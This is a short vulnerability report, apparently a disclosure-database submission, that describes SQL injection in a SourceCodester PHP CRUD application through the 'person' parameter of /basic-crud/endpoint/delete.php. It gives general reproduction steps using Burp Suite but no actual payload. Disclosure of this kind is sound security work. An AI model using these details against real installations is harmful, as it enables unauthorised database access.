إرسال #403651: SourceCodester PHP CRUD using PDO Connection with Free Source Code 1.0 SQL Injection

I would like to report a SQL injection vulnerability I discovered in the sourcecodester of the PHP CRUD using PDO Connection with Free Source Code during my testing.

Details:

Affected URL/Endpoint: /basic-crud/endpoint/delete.php
Vulnerable Parameter: person
Risk Level: High (allows malicious users to execute arbitrary SQL queries)

Steps to reproduce:
1) Click on delete
2) Use a proxy like burpsuite to intercept the "delete" request.
3) Input the payload to invoke the SQL injection.
